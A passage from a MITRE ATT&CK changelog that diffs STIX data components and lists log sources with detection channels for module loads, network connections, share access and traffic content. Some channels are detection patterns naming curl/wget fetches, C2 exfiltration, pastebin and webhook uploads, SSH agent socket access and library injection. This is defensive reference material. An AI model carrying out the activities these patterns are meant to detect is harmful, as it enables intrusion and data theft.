x_mitre_data_source_ref	x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:39:59.118000+00:00	2025-10-21 15:14:36.246000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0016] Module Load

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0016', 'external_id': 'DC0016'}]
x_mitre_log_sources		[{'name': 'Module', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=7'}, {'name': 'ETW:LoadImage', 'channel': 'provider: ETW LoadImage events for images from user-writable/UNC paths'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/mmap: Open/mmap .so files from non-standard paths'}, {'name': 'linux:osquery', 'channel': "select: Open files path LIKE '/tmp/%.so' OR '/dev/shm/%.so'"}, {'name': 'macos:unifiedlog', 'channel': 'dyld/unified log entries indicating image load from non-system paths'}, {'name': 'macos:osquery', 'channel': "select: path LIKE '%/Library/%/.dylib' OR '/tmp/.dylib'"}, {'name': 'macos:unifiedlog', 'channel': 'dynamic loading of sleep-related functions or sandbox detection libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'LD_PRELOAD Logging'}, {'name': 'linux:osquery', 'channel': 'Dynamic Linking State'}, {'name': 'macos:unifiedlog', 'channel': 'DYLD event subsystem'}, {'name': 'linux:osquery', 'channel': 'Process linked with libcrypto.so making external connections'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events with dylib load activity'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=7'}, {'name': 'WinEventLog:Application', 'channel': 'CLR Assembly creation, loading, or modification logs via MSSQL CLR integration'}, {'name': 'macos:unifiedlog', 'channel': 'Process memory maps new dylib (dylib_load event)'}, {'name': 'macos:unifiedlog', 'channel': 'Dylib loaded from abnormal location'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3033'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3063'}, {'name': 'auditd:MMAP', 'channel': 'load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'Loading of libz.dylib, libarchive.dylib by non-standard applications'}, {'name': 'macos:unifiedlog', 'channel': 'suspicious dlopen/dlsym usage in non-development processes'}, {'name': 'm365:unified', 'channel': 'Non-standard Office startup component detected (e.g., unexpected DLL path)'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap'}, {'name': 'esxi:vmkernel', 'channel': 'unexpected module load'}, {'name': 'snmp:status', 'channel': 'Status change in cryptographic hardware modules (enabled -> disabled)'}, {'name': 'esxi:vmkernel', 'channel': 'module load'}, {'name': 'macos:unifiedlog', 'channel': 'delay/sleep library usage in user context'}, {'name': 'linux:syslog', 'channel': 'kmod'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.kextd'}, {'name': 'macos:unifiedlog', 'channel': 'loading of unexpected dylibs compared to historical baselines'}, {'name': 'auditd:file-events', 'channel': 'open of suspicious .so from non-standard paths'}, {'name': 'macos:syslog', 'channel': 'DYLD_INSERT_LIBRARIES anomalies'}, {'name': 'auditd:SYSCALL', 'channel': 'dmesg'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_KEXTLOAD'}, {'name': 'auditd:SYSCALL', 'channel': 'module load or memory map path'}, {'name': 'macos:unifiedlog', 'channel': 'launch and dylib load'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl/libcrypto performing network activity'}, {'name': 'etw:Microsoft-Windows-Kernel-ImageLoad', 'channel': 'provider: Unsigned/user-writable image loads into msbuild.exe'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:16.486000+00:00	2025-10-21 15:14:35.471000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0082] Network Connection Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0082', 'external_id': 'DC0082'}]
x_mitre_log_sources		[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connection to 169.254.169.254 from EC2 workload'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:unifiedlog', 'channel': 'connection attempts'}, {'name': 'esxi:hostd', 'channel': 'System service interactions'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3, 22'}, {'name': 'NSM:Connections', 'channel': 'web domain alerts'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=22'}, {'name': 'auditd:SYSCALL', 'channel': 'connect'}, {'name': 'auditd:SYSCALL', 'channel': 'netconnect'}, {'name': 'macos:osquery', 'channel': 'process_events/socket_events'}, {'name': 'NSM:Firewall', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'connection open'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline'}, {'name': 'NSM:Flow', 'channel': 'New TCP/443 or TCP/80 to domain not previously seen for the user/host'}, {'name': 'NSM:Connections', 'channel': 'New outbound connection from Safari/Chrome/Firefox/Word'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect'}, {'name': 'macos:osquery', 'channel': 'execution of trusted tools interacting with external endpoints'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=22'}, {'name': 'WinEventLog:Microsoft-Windows-Bits-Client/Operational', 'channel': 'BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields'}, {'name': 'NSM:Firewall', 'channel': 'proxy or TLS inspection logs'}, {'name': 'macos:unifiedlog', 'channel': 'network connection events'}, {'name': 'esxi:vmkernel', 'channel': 'protocol egress'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to .tunnels.api.visualstudio.com or .devtunnels.ms'}, {'name': 'NSM:Flow', 'channel': 'Connections to .devtunnels.ms or tunnels.api.visualstudio.com'}, {'name': 'NSM:Flow', 'channel': 'HTTPs connection to tunnels.api.visualstudio.com'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156,5157'}, {'name': 'linux:osquery', 'channel': 'family=AF_PACKET or protocol raw; process name not in allowlist.'}, {'name': 'macos:unifiedlog', 'channel': 'First outbound connection from the same PID/user shortly after an inbound trigger.'}, {'name': 'NSM:Flow', 'channel': 'Outbound or inbound TFTP file transfers of ROMMON or firmware binaries'}, {'name': 'NSM:Connections', 'channel': 'Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports'}, {'name': 'NSM:Flow', 'channel': 'connection: TCP connections to ports 139/445 to multiple hosts'}, {'name': 'NSM:Flow', 'channel': 'connection: SMB connections to multiple internal hosts'}, {'name': 'auditd:SYSCALL', 'channel': 'connect/sendto'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CONNECT'}, {'name': 'snmp:access', 'channel': 'GETBULK/GETNEXT requests for OIDs associated with configuration parameters'}, {'name': 'esxi:hostd', 'channel': 'Service initiated connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large transfer volume (>20MB) from RDS IP range to external public IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High outbound traffic from new region resource'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S initiated by newly installed interpreter process'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect syscalls on /tmp/ssh- or $SSH_AUTH_SOCK'}, {'name': 'NSM:Flow', 'channel': 'outbound connections to RMM services or to unusual destination ports'}, {'name': 'macos:unifiedlog', 'channel': 'network sessions initiated by remote desktop apps'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connections to port 22, 3389'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect with TLS context by unexpected process'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port."}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: New bind() to a previously closed port shortly after the sequence.'}, {'name': 'NSM:Flow', 'channel': 'Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic spike through formerly blocked ports/subnets following config change'}, {'name': 'cni:netflow', 'channel': 'outbound connection to internal or external APIs'}, {'name': 'macos:osquery', 'channel': 'launchd or network_events'}, {'name': 'networkdevice:syslog', 'channel': 'Dynamic route changes'}, {'name': 'NSM:Flow', 'channel': 'New egress to Internet by the same UID/host shortly after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'connection: Inbound connections to SSH or VPN ports'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound connections to VNC/SSH ports'}, {'name': 'NSM:Flow', 'channel': 'External access to container ports (2375, 6443)'}, {'name': 'linux:syslog', 'channel': 'network'}, {'name': 'macos:osquery', 'channel': 'process_events + launchd'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log or /var/log/vmksummary.log'}, {'name': 'ebpf:syscalls', 'channel': 'socket connect'}, {'name': 'NSM:Flow', 'channel': 'remote access'}, {'name': 'NSM:Flow', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'network'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic observed on mirror destination instance'}, {'name': 'networkdevice:Flow', 'channel': 'Traffic from mirrored interface to mirror target IP'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:osquery', 'channel': 'process_events, socket_events'}, {'name': 'esxi:vmkernel', 'channel': 'network activity'}, {'name': 'NSM:Flow', 'channel': 'connection attempts'}, {'name': 'NSM:Flow', 'channel': 'High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs'}, {'name': 'auditd:SYSCALL', 'channel': 'sendto/connect'}, {'name': 'NSM:Flow', 'channel': 'outbound connections from host during or immediately after image build'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound Traffic'}, {'name': 'esxi:hostd', 'channel': 'Service-Based Network Connection'}, {'name': 'linux:syslog', 'channel': 'postfix/smtpd'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from browser/office lineage'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from exploited lineage'}, {'name': 'macos:osquery', 'channel': 'CONNECT: Long-lived connections from remote-control parents to external IPs/domains'}, {'name': 'auditd:SYSCALL', 'channel': 'outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or socket'}, {'name': 'macos:unifiedlog', 'channel': 'log stream network activity'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock"}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: Process binds to a new local port shortly after knock'}, {'name': 'NSM:Flow', 'channel': 'Closed-port hits followed by success from same src_ip'}, {'name': 'NSM:Flow', 'channel': 'Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock'}, {'name': 'WinEventLog:Microsoft-Windows-WLAN-AutoConfig', 'channel': '8001, 8002, 8003'}, {'name': 'linux:syslog', 'channel': 'New Wi-Fi connection established or repeated association failures'}, {'name': 'macos:unifiedlog', 'channel': 'Association and authentication events including failures and new SSIDs'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect calls showing SSH processes forwarding arbitrary ports'}, {'name': 'esxi:vmkernel', 'channel': 'network session initiation with external HTTPS services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=8001'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'openat,connect -k discovery'}, {'name': 'NSM:Flow', 'channel': 'Unexpected inbound/outbound TFTP traffic for device image files'}, {'name': 'NSM:Flow', 'channel': 'Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:23.639000+00:00	2025-10-21 15:14:34.190000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0102] Network Share Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0102', 'external_id': 'DC0102'}]
x_mitre_log_sources		[{'name': 'Network Share', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-Windows-SMBClient/Security', 'channel': 'EventID=31001'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5140'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145'}, {'name': 'WinEventLog:Microsoft-Windows-SMBServer', 'channel': 'Access to SYSVOL share from non-admin user or unusual endpoints'}, {'name': 'NSM:Flow', 'channel': 'smb_files.log'}, {'name': 'm365:unified', 'channel': 'FileUploaded, FileAccessed'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:01.621000+00:00	2025-10-21 15:14:37.412000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0085] Network Traffic Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0085', 'external_id': 'DC0085'}]
x_mitre_log_sources		[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'ebpf:syscalls', 'channel': 'Process within container accesses link-local address 169.254.169.254'}, {'name': 'WebProxy:AccessLogs', 'channel': 'SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log / xmpp.log (custom log feeds)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log or AMQP custom log'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log, xmpp.log, amqp.log'}, {'name': 'networkdevice:syslog', 'channel': 'ACL/Firewall rule modification or new route injection'}, {'name': 'm365:office', 'channel': 'External HTTP/DNS connection from Office binary shortly after macro trigger'}, {'name': 'NSM:Flow', 'channel': 'TCP/UDP'}, {'name': 'NSM:Flow', 'channel': 'TCP session tracking'}, {'name': 'NSM:Flow', 'channel': 'Captured packet payloads'}, {'name': 'NSM:Flow', 'channel': 'session behavior'}, {'name': 'esxi:vmkernel', 'channel': 'Network activity'}, {'name': 'NSM:Flow', 'channel': 'External C2 channel over TLS'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Inbound/outbound transfer of ELF shared objects'}, {'name': 'NSM:Flow', 'channel': 'http.log, files.log'}, {'name': 'NSM:Flow', 'channel': 'unexpected network activity initiated shortly after shell session starts'}, {'name': 'NSM:Flow', 'channel': 'HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log'}, {'name': 'NSM:Flow', 'channel': 'http.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'SPAN or port-mirrored HTTP/S'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log, websocket.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network metrics correlation for bandwidth saturation'}, {'name': 'docker:stats', 'channel': 'unusual network TX/RX byte deltas'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'HTTPS Inspection'}, {'name': 'NSM:Flow', 'channel': 'ssl.log'}, {'name': 'linux:syslog', 'channel': 'Query to suspicious domain with high entropy or low reputation'}, {'name': 'macos:unifiedlog', 'channel': 'DNS query with pseudo-random subdomain patterns'}, {'name': 'azure:vpcflow', 'channel': 'HTTP requests to 169.254.169.254 or Azure Metadata endpoints'}, {'name': 'NSM:Flow', 'channel': 'Browser connections to known C2 or dynamic DNS domains'}, {'name': 'NSM:Flow', 'channel': 'Session History Reset'}, {'name': 'NSM:Flow', 'channel': 'HTTP '}, {'name': 'macos:unifiedlog', 'channel': 'network flow'}, {'name': 'linux:syslog', 'channel': 'curl\|wget\|python .http'}, {'name': 'macos:unifiedlog', 'channel': 'curl\|osascript.open location'}, {'name': 'NSM:Flow', 'channel': 'query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes'}, {'name': 'etw:Microsoft-Windows-NDIS-PacketCapture', 'channel': 'TLS Handshake/Network Flow'}, {'name': 'NSM:Flow', 'channel': 'HTTP/TLS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.network'}, {'name': 'linux:syslog', 'channel': 'Unexpected SQL or application log entries showing tampered or malformed data'}, {'name': 'EDR:hunting', 'channel': 'Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, URL shorteners'}, {'name': 'macos:unifiedlog', 'channel': 'open URL\|clicked link\|LSQuarantineAttach'}, {'name': 'NSM:Flow', 'channel': 'Suspicious GET/POST; downloader patterns'}, {'name': 'NSM:Flow', 'channel': 'SSH logins or scp activity'}, {'name': 'NSM:Flow', 'channel': 'remote login and transfer'}, {'name': 'esxi:vob', 'channel': 'NFS/remote access logs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic between instances'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=5005 (WLAN), EventCode=302 (Bluetooth)'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious long-lived or reattached remote desktop sessions from unexpected IPs'}, {'name': 'NSM:Flow', 'channel': 'HTTP payloads with SQLi/LFI/JNDI/deserialization indicators'}, {'name': 'NSM:Flow', 'channel': 'outbound egress from web host after suspicious request'}, {'name': 'NSM:Flow', 'channel': 'Requests towards cloud metadata or command & control from pod IPs'}, {'name': 'ALB:HTTPLogs', 'channel': 'AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts'}, {'name': 'NSM:Flow', 'channel': 'Connections to TCP 427 (SLP) or vCenter web services from untrusted sources'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow for odd egress to Internet from mgmt plane'}, {'name': 'NSM:Flow', 'channel': 'packet capture or DPI logs'}, {'name': 'NSM:Flow', 'channel': 'http.log'}, {'name': 'NSM:Flow', 'channel': 'SMB2_LOGOFF/SMB_TREE_DISCONNECT'}, {'name': 'macos:unifiedlog', 'channel': 'Connections to suspicious domains with mismatched certificate or unusual patterns'}, {'name': 'NSM:Flow', 'channel': 'Unusual Base64-encoded content in URI, headers, or POST body'}, {'name': 'NSM:Flow', 'channel': 'Base64 strings or gzip in URI, headers, or POST body'}, {'name': 'macos:unifiedlog', 'channel': 'HTTP POST with encoded content in user-agent or cookie field'}, {'name': 'esxi:vmkernel', 'channel': 'Outbound traffic using encoded payloads post-login'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to 22/5900/8080 and follow-on internal connections.'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body contains long Base64 sections'}, {'name': 'NSM:Flow', 'channel': 'http: Base64/MIME looking payloads from ESXi host IP'}, {'name': 'NSM:Flow', 'channel': 'LDAP Bind/Search'}, {'name': 'NSM:Flow', 'channel': 'LDAP Query'}, {'name': 'macos:unifiedlog', 'channel': 'log stream (subsystem: com.apple.system.networking)'}, {'name': 'NSM:Flow', 'channel': 'smtp.log'}, {'name': 'NSM:Flow', 'channel': 'smtp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'remote CLI session detection'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted connection with anomalous payload entropy'}, {'name': 'esxcli:network', 'channel': 'Socket sessions with randomized payloads inconsistent with TLS'}, {'name': 'NSM:Connections', 'channel': 'Symmetric encryption detected without TLS handshake sequence'}, {'name': 'NSM:Flow', 'channel': 'http.log, ftp.log'}, {'name': 'NSM:Flow', 'channel': 'PCAP inspection'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to webhook endpoints'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to webhook endpoints'}, {'name': 'NSM:Flow', 'channel': 'Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed ≤TimeWindow by outbound SF from same host to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Inbound one-off packet to uncommon port → outbound SF to same src_ip within TimeWindow.'}, {'name': 'networkdevice:config', 'channel': 'NAT table modification (add/update/delete rule)'}, {'name': 'NSM:Flow', 'channel': 'large upload to firmware interface port or path'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid incoming TLS handshakes or HTTP requests in quick succession'}, {'name': 'NSM:Flow', 'channel': 'http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources'}, {'name': 'NSM:Flow', 'channel': 'http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains'}, {'name': 'NSM:Flow', 'channel': 'HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)'}, {'name': 'NSM:Connections', 'channel': 'TLS handshake + HTTP headers'}, {'name': 'NSM:Flow', 'channel': 'ssl.log + http.log'}, {'name': 'macos:unifiedlog', 'channel': 'network, socket, and http logs'}, {'name': 'NSM:Firewall', 'channel': 'TLS/HTTP inspection'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Outbound transfer of large video-like MIME types soon after capture'}, {'name': 'container:proxy', 'channel': 'outbound/inbound network activity from spawned pods'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound to non-standard ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound SCP, TFTP, or FTP sessions carrying configuration file content'}, {'name': 'NSM:Flow', 'channel': 'Session Transfer Content'}, {'name': 'NSM:Flow', 'channel': 'Captured File Content'}, {'name': 'NSM:Flow', 'channel': 'C2 exfiltration'}, {'name': 'NSM:Flow', 'channel': 'Transferred file observations'}, {'name': 'apache:access_log', 'channel': "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"}, {'name': 'NSM:Flow', 'channel': 'http::post: Outbound HTTP POST from host shortly after DB export activity'}, {'name': 'NSM:Flow', 'channel': 'HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage'}, {'name': 'NSM:Flow', 'channel': 'Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions'}, {'name': 'NSM:Flow', 'channel': 'New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs'}, {'name': 'NSM:Flow', 'channel': 'New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot'}, {'name': 'docker:events', 'channel': 'remote API calls to /containers/create or /containers/{id}/start'}, {'name': 'NSM:Flow', 'channel': 'http::request: Network connection to package registry or C2 from interpreter shortly after install'}, {'name': 'linux:syslog', 'channel': 'Integrity mismatch warnings or malformed packets detected'}, {'name': 'NSM:Flow', 'channel': 'http::request: Outbound HTTP initiated by Python interpreter'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Outbound requests with forged tokens/cookies in headers'}, {'name': 'linux:syslog', 'channel': 'DNS response IPs followed by connections to non-standard calculated ports'}, {'name': 'macos:unifiedlog', 'channel': 'DNS responses followed by connections to ports outside standard ranges'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound traffic to mining domains'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted session initiation by unexpected binary'}, {'name': 'esxi:vmkernel', 'channel': 'Inspection of sockets showing encrypted sessions from non-baseline processes'}, {'name': 'NSM:Connections', 'channel': 'Abnormal certificate chains or non-standard ports carrying TLS'}, {'name': 'NSM:Flow', 'channel': 'DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to text storage domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to pastebin-like domains'}, {'name': 'NSM:Flow', 'channel': 'Unexpected ARP replies or DNS responses inconsistent with authoritative servers'}, {'name': 'NSM:Flow', 'channel': 'TLS downgrade or inconsistent DNS answers'}, {'name': 'NSM:Flow', 'channel': 'Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large volume of malformed or synthetic payloads to application endpoints prior to failure'}, {'name': 'networkconfig ', 'channel': 'interface flag PROMISC, netstat \| ip link \| ethtool'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'promiscuous'"}, {'name': 'networkdevice:syslog', 'channel': 'config change (e.g., logging buffered, pcap buffers)'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to code repository APIs'}, {'name': 'azure:activity', 'channel': 'networkInsightsLogs'}, {'name': 'gcp:audit', 'channel': 'network.query*'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Unusual external domain access'}, {'name': 'NSM:Flow', 'channel': 'conn.log or http.log'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs'}, {'name': 'NSM:Flow', 'channel': 'dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently'}, {'name': 'NSM:Flow', 'channel': 'http: suspicious long tokens with custom alphabets in body/headers'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies from ESXi host IPs containing long, non-standard tokens'}, {'name': 'NSM:Flow', 'channel': 'Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols'}, {'name': 'NSM:Flow', 'channel': 'HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts'}, {'name': 'NSM:Flow', 'channel': 'Egress to non-approved networks from host after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'Flow/PCAP analysis for outbound payloads'}, {'name': 'NSM:Flow', 'channel': 'conn.log + files.log + ssl.log'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'open', 'sendto', 'connect'"}, {'name': 'NSM:Flow', 'channel': 'HTTPS or custom protocol traffic with large payloads'}, {'name': 'esxi:vmkernel', 'channel': 'network stack module logs'}, {'name': 'NSM:Flow', 'channel': 'Unexpected script or binary content returned in HTTP response body'}, {'name': 'NSM:Flow', 'channel': 'Injected content responses with unexpected script/malware signatures'}, {'name': 'NSM:Flow', 'channel': 'Content injection observed in HTTPS responses with mismatched certificates or altered payloads'}, {'name': 'NSM:Firewall', 'channel': 'High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion'}, {'name': 'NSM:Firewall', 'channel': 'Anomalous TCP SYN or ACK spikes from specific source or interface'}, {'name': 'saas:confluence', 'channel': 'REST API access from non-browser agents'}, {'name': 'Netfilter/iptables', 'channel': 'Forwarded packets log'}, {'name': 'NSM:Flow', 'channel': 'Relay patterns across IP hops'}, {'name': 'NSM:Firewall', 'channel': 'Outbound encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'ldap.log'}, {'name': 'macos:unifiedlog', 'channel': 'dns-sd, mDNSResponder, socket activity'}, {'name': 'networkdevice:IDS', 'channel': 'content inspection / PCAP / HTTP body'}, {'name': 'NSM:Flow', 'channel': 'Probe responses from unauthorized APs responding to client probe requests'}, {'name': 'auditd:SYSCALL', 'channel': 'setsockopt, ioctl modifying ARP entries'}, {'name': 'NSM:Flow', 'channel': 'Excessive gratuitous ARP replies on local subnet'}, {'name': 'NSM:Flow', 'channel': 'Inbound HTTP POST with suspicious payload size or user-agent'}, {'name': 'NSM:Flow', 'channel': 'POST requests to .php, .jsp, .aspx files with high entropy body'}, {'name': 'NSM:Flow', 'channel': 'dns.log'}, 